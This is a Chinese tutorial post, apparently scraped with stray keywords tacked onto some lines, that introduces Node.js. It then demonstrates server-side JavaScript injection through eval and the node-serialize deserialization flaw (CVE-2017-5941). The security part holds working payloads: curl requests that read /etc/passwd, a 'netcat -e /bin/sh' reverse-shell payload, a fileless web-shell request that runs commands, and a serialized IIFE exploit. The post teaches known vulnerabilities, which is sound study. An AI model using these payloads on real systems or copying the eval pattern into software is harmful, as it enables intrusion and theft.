0x01 簡介javascript
什麼是nodejs,it's javascript webserver!php
JS是腳本語言,腳本語言都須要一個解析器才能運行。對於寫在HTML頁面裏的JS,瀏覽器充當瞭解析器的角色。而對於須要獨立運行的JS,NodeJS就是一個解析器。html
每一種解析器都是一個運行環境,不但容許JS定義各類數據結構,進行各類計算,還容許JS使用運行環境提供的內置對象和方法作一些事情。例如運行在瀏覽器中的JS的用途是操做DOM,瀏覽器就提供了document
之類的內置對象。而運行在NodeJS中的JS的用途是操做磁盤文件或搭建HTTP服務器,NodeJS就相應提供了fs
、http
等內置對象。前端
0x02 測試java
直接下載編譯好的exe放到系統目錄下(固然也可使用msi安裝包進行安裝 http://nodejs.cn/#download),查看版本,和解析js命令node
文件操做laravel
NodeJS提供了基本的文件操做API,可是像文件拷貝這種高級功能就沒有提供,所以咱們先拿文件拷貝程序練手。與copy
命令相似,咱們的程序須要能接受源文件路徑與目標文件路徑兩個參數。git
文件拷貝程序員
咱們使用NodeJS內置的fs
模塊簡單實現這個程序以下。github
var fs = require('fs'); function copy(src, dst) { fs.writeFileSync(dst, fs.readFileSync(src)); } function main(argv) { copy(argv[0], argv[1]); } main(process.argv.slice(2));
這裏說一下,即便腳本的後綴不是以js結尾的,也是能夠順利執行的。
網絡操做
不瞭解網絡編程的程序員不是好前端,而NodeJS剛好提供了一扇瞭解網絡編程的窗口。經過NodeJS,除了能夠編寫一些服務端程序來協助前端開發和測試外,還可以學習一些HTTP協議與Socket協議的相關知識。
NodeJS原本的用途是編寫高性能Web服務器。咱們首先在這裏重複一下官方文檔裏的例子,使用NodeJS內置的http
模塊簡單實現一個HTTP服務器。
var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, { 'Content-Type': 'text-plain' }); response.end('Hello World\n'); }).listen(8124);
除了能夠構建http服務器以外,還能夠用做客戶端發送http請求,like this
var options = { hostname: 'www.example.com', port: 80, path: '/upload', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }; var request = http.request(options, function (response) {}); request.write('Hello World'); request.end();
請求頭和請求體均可以定製。
除文件操做和網絡操做以外還有進程管理和異步編程等就不具體描述了,詳細的能夠查看官方api文檔。
有了web服務端開發語言,那麼像php語言同樣有一些著名的框架(laravel,CodeIgniter,thinkphp)同樣,Nodejs也有比較流行的框架,是Express。
express的安裝 npm install express --save
0x03 ssjs 服務端javascript代碼注入
漏洞代碼以下:
/** * NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660 * PoC: $ node nodejs-ssjs-nodebleed.js * "Attack": * - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))" * - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}" * - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C * * Insecure evals Payloads: * - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999) * - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}" * All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment. * $ nvm ls-remote (Play with different versions) * @SiMpS0N - Fev/2016 */ var http = require('http'); var server = http.createServer(function(req, res) { console.log("### 0xOPOSEC Demos ###") var data = '' var injection = '' req.setEncoding('utf8') req.on('data', function(chunk) { data += chunk }) console.log(data) req.on('end', function() { /*Convert a JSON text into an object * Tradional way (Not Secure): * var body = eval("("+data+")") * Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))" */ //var body = eval("("+data+")") /* * Correct way: */ var body = JSON.parse(data) //SSJS Injection (eval JS code) console.log("##SSJS Injection") console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure) console.log("##NodeBleed") console.log("Disclosure Bytes: "+body.str) res.end(new Buffer(body.str) + "\n" + injection) }) }) server.listen(8080)
簡單分析一下,服務器端監聽8080端口,對接收到post的json數據處理,其中injection字段的值進行了eval代碼執行,那麼payload構造起來就很簡單,咱們能夠經過fs模塊的readFileSync()函數去讀好比 /etc/passwd 文件,以下圖所示:
那建立一個無文件的小馬如何?
POST / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0 Host: 192.168.199.182:8080 Accept: */* Content-Type: application/json Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}
如上,咱們是開啓了一個8000端口的監聽,並對傳入的cmd參數進行命令執行,這樣就達到了一個小馬的效果。
0x04 反序列化漏洞
nodejs的node-serialize 模塊曾經爆出過一個漏洞CVE-2017-5941能夠參考https://www.exploit-db.com/docs/41289.pdf,該模塊的源碼在這裏https://github.com/luin/serialize(好奇的是漏洞出了這麼久,可是做者並無去修復。。只是發了一個security warning。。)
這裏簡單介紹和復現一下:
注意,若是想要全局中使用這個node-serialize模塊就要使用 -g的參數(npm全局安裝和本地安裝 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),並且參考文章中版本也是0.0.4,也正好就是存在漏洞的版本。
生成payload的方式以下:
var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
可是生成的payload要修改纔可以調用執行
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"} 須要在整個function後面加(),「當即執行函數表達式」(Immediately-Invoked Function Expression,如下簡稱IIFE)參考:http://weizhifeng.net/immediately-invoked-function-expression.html
反序列化惡意payload,就執行了ls / 的命令,效果以下圖所示
0x05 Refererence
1.https://nqdeng.github.io/7-days-nodejs/
2.http://www.runoob.com/nodejs/nodejs-express-framework.html
3.https://www.youtube.com/watch?v=puyOlZBudNI
4.http://expressjs.com/
5.慕課網nodejs學習 http://www.imooc.com/learn/348
6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html
8.http://paper.seebug.org/213/
9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef